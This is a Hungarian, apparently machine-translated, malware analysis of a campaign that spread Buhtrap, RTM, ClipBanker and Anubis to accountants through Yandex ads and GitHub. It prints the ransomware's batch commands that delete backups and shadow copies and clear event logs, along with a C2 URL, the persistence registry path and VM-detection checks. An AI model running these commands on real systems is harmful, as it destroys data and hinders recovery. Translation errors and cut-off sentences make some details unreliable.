A könyvelők kibertámadásának célba vételéhez használhatja az általuk online keresett munkadokumentumokat. Nagyjából ezt tette egy kibercsoport az elmúlt hónapokban, ismert hátsó ajtókat terjesztve.
A Buhtrap forráskódja korábban kiszivárgott az interneten, így bárki használhatja. Nincs információnk az RTM kód elérhetőségéről.
Ebben a bejegyzésben elmondjuk, hogy a támadók hogyan terjesztettek rosszindulatú programokat a Yandex.Direct segítségével, és hogyan tárolták azt a GitHubon. A bejegyzés a kártevő technikai elemzésével zárul.
A Buhtrap és az RTM visszatért az üzletbe
A terjedési mechanizmus és az áldozatok
Az áldozatoknak szállított különféle rakományok közös terjedési mechanizmuson alapulnak. A támadók által létrehozott összes rosszindulatú fájl két különböző GitHub-tárolóba került.
A tárolóban általában egy letölthető rosszindulatú fájl volt, amely gyakran változott. Mivel a GitHub lehetővé teszi az adattár változásainak előzményeinek megtekintését, láthatjuk, hogy egy adott időszakban milyen rosszindulatú programokat terjesztettek el. Az áldozat meggyőzésére a rosszindulatú fájl letöltéséről a fenti ábrán látható blanki-shabloni24[.]ru webhelyet használták.
Az oldal kialakítása és a rosszindulatú fájlok nevei egyetlen koncepciót követnek – űrlapok, sablonok, szerződések, minták stb. Tekintettel arra, hogy a Buhtrap és az RTM szoftvereket már korábban is használták könyvelők elleni támadásokban, feltételeztük, hogy a stratégia az új kampányban is ugyanaz. A kérdés csak az, hogy az áldozat hogyan jutott el a támadók helyszínére.
fertőzés
Legalább több potenciális áldozat, aki ezen az oldalon kötött ki, rosszindulatú hirdetéseket vonzott. Az alábbiakban egy példa URL található:
https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456
Amint a linken látható, a banner a bb.f2[.]kz törvényes könyvelési fórumra került fel. Fontos megjegyezni, hogy a bannerek különböző oldalakon jelentek meg, mindegyiknek ugyanaz a kampányazonosítója (blanki_rsya), és legtöbbjük könyvelési vagy jogi segítségnyújtási szolgáltatásokhoz kapcsolódott. Az URL azt mutatja, hogy a potenciális áldozat a „számlaűrlap letöltése” kérést használta, ami alátámasztja a célzott támadásokra vonatkozó hipotézisünket. Alább láthatók azok a webhelyek, ahol a bannerek megjelentek, és a megfelelő keresési lekérdezések.
- számlaűrlap letöltése – bb.f2[.]kz
- szerződésminta - Ipopen[.]ru
- kérelem panasz minta - 77metrov[.]ru
- megállapodási űrlap - blank-dogovor-kupli-prodazhi[.]ru
- bírósági beadvány minta - zen.yandex[.]ru
- panaszminta - yurday[.]ru
- szerződésminta nyomtatványok – Regforum[.]ru
- szerződés nyomtatvány – assistentus[.]ru
- lakásszerződés minta – napravah[.]com
- jogi szerződések mintái - avito[.]ru
Lehet, hogy a blanki-shabloni24[.]ru webhely úgy lett beállítva, hogy átmenjen egy egyszerű vizuális értékelésen. Általában nem tűnik nyilvánvalóan rossznak az a hirdetés, amely egy professzionális megjelenésű webhelyre mutat a GitHubra mutató linkkel. Ráadásul a támadók csak korlátozott ideig, valószínűleg a kampány alatt töltöttek fel rosszindulatú fájlokat az adattárba. A GitHub-tárhely legtöbbször üres zip-archívumot vagy üres EXE-fájlt tartalmazott. Így a támadók a Yandex.Directen keresztül terjeszthettek hirdetéseket olyan webhelyeken, amelyeket nagy valószínűséggel bizonyos keresési lekérdezésekre válaszoló könyvelők kerestek fel.
Ezután nézzük meg az így elosztott különféle hasznos terheket.
Hasznos teherelemzés
Az eloszlás kronológiája
A rosszindulatú kampány 2018. október végén kezdődött, és a cikk írásakor aktív. Mivel a teljes adattár nyilvánosan elérhető volt a GitHubon, pontos idővonalat állítottunk össze hat különböző rosszindulatú programcsalád terjesztéséről (lásd az alábbi ábrát). A git előzményekkel való összehasonlítás érdekében hozzáadtunk egy sort, amely megmutatja, hogy mikor fedezték fel a szalaghirdetés-hivatkozást, az ESET telemetriával mérve. Amint láthatja, ez jól korrelál a GitHubon található hasznos terhelés elérhetőségével. A február végi eltérés azzal magyarázható, hogy nem volt részünk a változástörténetből, mert a repository eltávolításra került a GitHubról, mielőtt teljes egészében megkaphattuk volna.
1. ábra A rosszindulatú programok terjesztésének kronológiája.
Kód aláíró tanúsítványok
A kampány több tanúsítványt használt. Néhányat több kártevőcsalád is aláírt, ami azt is jelzi, hogy különböző minták ugyanahhoz a kampányhoz tartoztak. A privát kulcs rendelkezésre állása ellenére az operátorok nem írták alá szisztematikusan a binárisokat, és nem használták a kulcsot minden mintához. 2019. február végén a támadók érvénytelen aláírásokat kezdtek létrehozni a Google tulajdonában lévő tanúsítvány segítségével, amelyhez nem rendelkeztek privát kulcssal.
A kampányban érintett összes tanúsítványt és az általuk aláírt rosszindulatú programcsaládokat az alábbi táblázat tartalmazza.
Ezeket a kódaláíró tanúsítványokat más rosszindulatú programcsaládokkal való kapcsolatok létrehozására is használtuk. A legtöbb tanúsítvány esetében nem találtunk olyan mintákat, amelyeket nem GitHub-tárolón keresztül terjesztettek. A TOV „MARIYA” tanúsítványt azonban a botnethez tartozó rosszindulatú programok aláírására használták
Win32/Filecoder.Buhtrap
Az első komponens, amely felkeltette a figyelmünket, az újonnan felfedezett Win32/Filecoder.Buhtrap volt. Ez egy Delphi bináris fájl, amelyet néha csomagolnak. Főleg 2019 február-márciusban került terjesztésre. Úgy viselkedik, ahogy az egy zsarolóprogramhoz illik – helyi meghajtókat és hálózati mappákat keres, és titkosítja az észlelt fájlokat. Nincs szüksége internetkapcsolatra ahhoz, hogy veszélybe kerüljön, mert nem lép kapcsolatba a szerverrel, hogy titkosítási kulcsokat küldjön. Ehelyett egy „token”-t ad a váltságdíj-üzenet végéhez, és javasolja az e-mail vagy a Bitmessage használatát az operátorokkal való kapcsolatfelvételhez.
A lehető legtöbb érzékeny erőforrás titkosítása érdekében a Filecoder.Buhtrap egy olyan szálat futtat, amely leállítja a kulcsfontosságú szoftvereket, amelyek nyitott fájlkezelőkkel rendelkeznek, amelyek értékes információkat tartalmazhatnak, amelyek megzavarhatják a titkosítást. A célfolyamatok főként adatbázis-kezelő rendszerek (DBMS). Ezenkívül a Filecoder.Buhtrap törli a naplófájlokat és a biztonsági másolatokat, hogy megnehezítse az adatok helyreállítását. Ehhez futtassa az alábbi kötegelt szkriptet.
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled
A Filecoder.Buhtrap egy legitim online IP Logger szolgáltatást használ, amelynek célja, hogy információkat gyűjtsön a webhely látogatóiról. Ennek célja a ransomware áldozatainak nyomon követése, amely a parancssor felelőssége:
mshta.exe "javascript:document.write('');"
A titkosítani kívánt fájlok akkor kerülnek kiválasztásra, ha nem egyeznek három kizárási listával. Először is, a következő kiterjesztésű fájlok nincsenek titkosítva: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys és .denevér. Másodszor, minden olyan fájl kizárásra kerül, amelyeknek a teljes elérési útja tartalmazza az alábbi listából származó könyvtár karakterláncokat.
.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel
Harmadszor, bizonyos fájlnevek szintén ki vannak zárva a titkosításból, köztük a váltságdíj üzenet fájlneve. A lista alább látható. Nyilvánvaló, hogy mindezen kivételek célja a gép üzemben tartása, de minimális közúti alkalmassággal.
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe
Fájl titkosítási séma
A végrehajtás után a kártevő 512 bites RSA-kulcspárt generál. A privát kitevőt (d) és modulust (n) ezután egy keményen kódolt 2048 bites nyilvános kulccsal (nyilvános kitevő és modulus) titkosítják, zlib-be csomagolják és base64-kódolásúak. Az ezért felelős kód a 2. ábrán látható.
2. ábra: Az 512 bites RSA kulcspár generálási folyamat Hex-Rays dekompilációjának eredménye.
Az alábbiakban egy egyszerű szöveges példa látható egy generált privát kulccsal, amely a váltságdíj üzenethez csatolt token.
DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239
A támadók nyilvános kulcsa alább látható.
e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD
A fájlok titkosítása AES-128-CBC használatával, 256 bites kulccsal történik. Minden titkosított fájlhoz egy új kulcs és egy új inicializálási vektor jön létre. A kulcsinformációk a titkosított fájl végére kerülnek. Nézzük a titkosított fájl formátumát.
A titkosított fájlok fejléce a következő:
A forrásfájl adatai a VEGA mágikus érték hozzáadásával az első 0x5000 bájtig titkosítva vannak. Minden visszafejtési információ a következő szerkezetű fájlhoz van csatolva:
- A fájlméret jelölő tartalmaz egy jelölést, amely jelzi, hogy a fájl mérete nagyobb-e 0x5000 bájtnál
— AES kulcs blob = ZlibCompress (RSAEncrypt (AES kulcs + IV, a generált RSA kulcspár nyilvános kulcsa))
- RSA kulcs blob = ZlibCompress (RSAEncrypt (generált RSA privát kulcs, kemény kódolt RSA nyilvános kulcs))
Win32/ClipBanker
A Win32/ClipBanker egy olyan összetevő, amelyet időszakosan terjesztettek 2018 október végétől december elejéig. Feladata a vágólap tartalmának figyelése, kriptovaluta pénztárcák címét keresi. Miután meghatározta a céltárca címét, a ClipBanker lecseréli egy olyan címre, amelyről úgy gondolják, hogy az üzemeltetőkhöz tartozik. Az általunk vizsgált minták nem voltak sem dobozosak, sem homályosak. A viselkedés elfedésére szolgáló egyetlen mechanizmus a karakterlánc-titkosítás. A kezelői pénztárca címeit az RC4 titkosítja. A megcélzott kriptovaluták a Bitcoin, a Bitcoin cash, a Dogecoin, az Ethereum és a Ripple.
Abban az időszakban, amikor a kártevő a támadók Bitcoin pénztárcájára terjedt, kis összeget küldtek a VTS-nek, ami kétségbe vonja a kampány sikerét. Ezenkívül nincs bizonyíték arra, hogy ezek a tranzakciók a ClipBankerhez kapcsolódtak volna.
Win32/RTM
A Win32/RTM összetevőt több napig terjesztették 2019 márciusának elején. Az RTM egy Delphiben írt trójai bankár, amely távoli bankrendszereket céloz meg. 2017-ben az ESET kutatói közzétették
Buhtrap Loader
Egy ideig a GitHubon elérhető volt egy letöltő, amely nem hasonlított a korábbi Buhtrap eszközökhöz. felé fordul https://94.100.18[.]67/RSS.php?<some_id>
a következő szakasz eléréséhez, és közvetlenül a memóriába tölti be. A második szakasz kódjának két viselkedését különböztethetjük meg. Az első URL-ben az RSS.php közvetlenül átadta a Buhtrap hátsó ajtót – ez a hátsó ajtó nagyon hasonlít a forráskód kiszivárgása után elérhetőhöz.
Érdekes módon több kampányt is látunk a Buhtrap hátsó ajtóval, és állítólag különböző szolgáltatók működtetik őket. Ebben az esetben a fő különbség az, hogy a hátsó ajtó közvetlenül a memóriába töltődik be, és nem használja a szokásos sémát a DLL-telepítési folyamattal, amelyről beszéltünk.
A második, összetettebb viselkedés az volt, hogy az RSS.php URL-t átadták egy másik betöltőnek. Valamilyen elhomályosítást valósított meg, például újraépítette a dinamikus importálási táblát. A rendszerbetöltő célja, hogy kapcsolatba lépjen a C&C szerverrel
Android/Spy.Banker
Érdekes módon a GitHub adattárában találtak egy komponenst az Androidhoz is. Csak egy napot volt a főfiókban - 1. november 2018-jén. A GitHubon való közzétételen kívül az ESET telemetria nem talál bizonyítékot a rosszindulatú program terjesztésére.
Az összetevőt Android alkalmazáscsomagként (APK) tárolták. Erősen homályos. A rosszindulatú viselkedés az APK-ban található titkosított JAR-ban van elrejtve. RC4-gyel van titkosítva ezzel a kulccsal:
key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]
Ugyanazt a kulcsot és algoritmust használják a karakterláncok titkosításához. A JAR itt található APK_ROOT + image/files
. A fájl első 4 bájtja tartalmazza a titkosított JAR hosszát, amely közvetlenül a hossz mező után kezdődik.
A fájl visszafejtése után felfedeztük, hogy az Anubis volt – korábban
- mikrofon felvétel
- képernyőképek készítése
- GPS koordináták beszerzése
- billentyűzetfigyelő
- eszköz adattitkosítás és váltságdíj követelés
- spamelés
Érdekes módon a bankár a Twittert használta tartalék kommunikációs csatornaként egy másik C&C szerver megszerzéséhez. Az általunk elemzett minta a @JonesTrader fiókot használta, de az elemzés időpontjában már blokkolva volt.
A bankár tartalmazza az Android-eszköz célalkalmazásainak listáját. Ez hosszabb, mint a Sophos tanulmányban kapott lista. A listán számos banki alkalmazás, online vásárlási program, például Amazon és eBay, valamint kriptovaluta szolgáltatás található.
MSIL/ClipBanker.IH
A kampány részeként terjesztett utolsó összetevő a .NET Windows futtatható fájl volt, amely 2019 márciusában jelent meg. A legtöbb vizsgált verzió a ConfuserEx v1.0.0-s verziójával volt csomagolva. A ClipBankerhez hasonlóan ez az összetevő is a vágólapot használja. Célja a kriptovaluták széles választéka, valamint a Steamen kínált ajánlatok. Ezenkívül az IP Logger szolgáltatást használja a Bitcoin privát WIF-kulcsának ellopására.
Védelmi mechanizmusok
A ConfuserEx által a hibakeresés, dömping és manipuláció megakadályozása terén nyújtott előnyök mellett az összetevő képes észlelni a víruskereső termékeket és a virtuális gépeket.
Annak ellenőrzésére, hogy virtuális gépen fut-e, a rosszindulatú program a beépített Windows WMI parancssort (WMIC) használja BIOS-információk lekérésére, nevezetesen:
wmic bios
Ezután a program elemzi a parancs kimenetét, és megkeresi a kulcsszavakat: VBOX, VirtualBox, XEN, qemu, bochs, VM.
A víruskereső termékek észlelése érdekében a rosszindulatú programok Windows Management Instrumentation (WMI) kérést küldenek a Windows Biztonsági Központnak ManagementObjectSearcher
API az alábbiak szerint. A base64-ről történő dekódolás után a hívás így néz ki:
ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')
3. ábra: A víruskereső termékek azonosításának folyamata.
Ezenkívül a malware ellenőrzi, hogy
Kitartás
A rosszindulatú program általunk vizsgált verziója bemásolja magát %APPDATA%googleupdater.exe
és beállítja a „rejtett” attribútumot a google könyvtárhoz. Aztán megváltoztatja az értéket SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell
a Windows rendszerleíró adatbázisában, és hozzáadja az elérési utat updater.exe
. Így a rosszindulatú program minden alkalommal végrehajtódik, amikor a felhasználó bejelentkezik.
Rosszindulatú viselkedés
A ClipBankerhez hasonlóan a rosszindulatú program is figyeli a vágólap tartalmát, és megkeresi a kriptovaluta pénztárca címeit, és ha megtalálja, lecseréli az egyik üzemeltető címére. Az alábbiakban a célcímek listája látható a kódban található adatok alapján.
BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL
Minden címtípushoz tartozik egy megfelelő reguláris kifejezés. A STEAM_URL érték a Steam rendszer megtámadására szolgál, amint az a pufferben definiáló reguláris kifejezésből látható:
b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b
Exfiltrációs csatorna
A pufferben lévő címek cseréje mellett a kártevő a Bitcoin, Bitcoin Core és Electrum Bitcoin pénztárcák privát WIF-kulcsait célozza meg. A program a plogger.org webhelyet használja kiszűrési csatornaként a WIF privát kulcs beszerzéséhez. Ehhez az operátorok privát kulcsadatokat adnak hozzá a User-Agent HTTP fejléchez, az alábbiak szerint.
4. ábra: IP Logger konzol kimeneti adatokkal.
Az üzemeltetők nem használták az iplogger.org webhelyet a pénztárcák kiszűrésére. Valószínűleg más módszerhez folyamodtak a 255 karakteres korlátozás miatt User-Agent
megjelenik az IP Logger webes felületén. Az általunk vizsgált mintákban a másik kimeneti szerver a környezeti változóban volt tárolva DiscordWebHook
. Meglepő módon ez a környezeti változó sehol nincs hozzárendelve a kódban. Ez arra utal, hogy a kártevő még fejlesztés alatt áll, és a változó hozzá van rendelve a kezelő tesztgépéhez.
Van egy másik jel is, hogy a program fejlesztés alatt áll. A bináris fájl két iplogger.org URL-t tartalmaz, és mindkettőt lekérdezi az adatok kiszűrésekor. Az egyik ilyen URL-re irányuló kérésben a Hivatkozó mezőben szereplő érték előtt a „DEV /” szerepel. Találtunk egy olyan verziót is, amely nem a ConfuserEx használatával lett csomagolva, ennek az URL-címnek a címzettje a DevFeedbackUrl. A környezeti változó neve alapján úgy gondoljuk, hogy az üzemeltetők a legális Discord szolgáltatást és annak webelfogó rendszerét tervezik kriptovaluta pénztárcák ellopására.
Következtetés
Ez a kampány egy példa a legális hirdetési szolgáltatások kibertámadások során történő használatára. A rendszer orosz szervezeteket céloz meg, de nem lennénk meglepve, ha egy ilyen támadást nem orosz szolgáltatások igénybevételével látnánk. A kompromisszumok elkerülése érdekében a felhasználóknak biztosnak kell lenniük a letöltött szoftver forrásának hírnevében.
A kompromisszum indikátorok és a MITER ATT&CK attribútumok teljes listája a következő címen érhető el
Forrás: will.com